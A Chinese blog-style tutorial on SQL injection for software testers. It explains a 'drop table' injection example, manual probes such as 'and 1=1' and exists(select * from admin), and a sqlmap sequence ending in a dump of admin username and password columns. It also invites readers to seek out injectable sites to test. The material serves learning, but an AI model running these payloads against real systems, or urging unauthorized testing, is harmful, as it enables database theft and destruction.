SQL注入,你真的了解嗎?
背景
之前在測試培訓(xùn)時,簡要提到了安全測試,于是以此為起點,就去了解了一些安全測試相關(guān)的內(nèi)容。sql注入便是其中的一部分。
簡介
SQL 注入是一種專門針對SQL語句的攻擊方式。通過把SQL命令插入到web表單提交、輸入域名或者頁面請求的查詢字符串中,利用現(xiàn)有的程序,來非法獲取后臺的數(shù)據(jù)庫中的信息。在web的測試中涉及到的會比較多些。
注入原理
存在注入的原因是后臺在編寫程序時,沒有對用戶輸入的數(shù)據(jù)做過濾。
例:
1. 用戶在某個輸入框提交的參數(shù)是123瀏覽器提交的URL為: http://www.xxx.com/index.php?id=123服務(wù)器后臺執(zhí)行SQL語句:select * from table1 where id = 123此時是沒有任何影響的。2. 如果用戶提交的參數(shù)是 123;drop table服務(wù)器后臺執(zhí)行SQL語句: select * from table1 where id =123 ; drop table相當(dāng)于后臺執(zhí)行了兩條SQL語句,查表,并且把table刪除, 從而導(dǎo)致了SQL注入。
檢測注入的方法
目前主要有兩種檢測方式:
手工注入檢測流程:
1. 判斷是否存在注入點
www.abc.com/index.php?id=2'www.abc.com/index.php?id=2 and 1=1www.abc.com/index.php?id=2 and 1=2第2條返回正常,第1,3條返回不正常說明id參數(shù)存在注入漏洞
2. 判定是否存在admin表
www.abc.com/index.php?id=2 and exists(select * from admin)返回正常,存在admin表
3. 猜admin表中的字段名
www.abc.com/index.php?id=2 and exists(select username from admin)返回正常 表示admin表存在username字段
4. 檢測其他sql操作
工具檢測:
sqlmap: sqlmap是一個開源的滲透測試工具,可以用來進行自動化檢測,利用SQL注入漏洞,獲取數(shù)據(jù)庫服務(wù)器的權(quán)限。
1. 下載地址
https://github.com/sqlmapproject/sqlmap.git 2. 常用命令
1) sqlmap.py -u "http://www.abc.com/index.asp?id=1"判斷id參數(shù)是否存在注入:若存在注入,嘗試執(zhí)行下面的步驟2) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --dbs列舉能列出的所有數(shù)據(jù)庫名3) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --current-db列出當(dāng)前使用的數(shù)據(jù)庫名,假設(shè)列出“sqltest”數(shù)據(jù)庫4) sqlmap.py -u "http://www.abc.com/index.asp?id=1" --is-dba判斷該注入點是否有管理員權(quán)限:返回true 表示是管理員5) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" --tables獲取sqltest中的所有表6) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" --columns假設(shè)有"admin"表, 列舉表admin的字段(列名),假設(shè)存在"username","password"字段7) sqlmap.py -u "http://www.abc.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump下載字段username,password的值,
測試
以一個sqlmap檢測URL為例:
1. 檢測過程:

2. 檢測結(jié)果:

可知該次注入檢測沒有成功。感興趣的小伙伴可以尋找可注入的網(wǎng)址進行測試,更深入的內(nèi)容還需要進行更多的探索。

是否對于cookie文件進行了敏感字符或命令集的屏蔽,前提是設(shè)計或需求允許這樣的操作。
-------- THE END --------
??
評論
圖片
表情
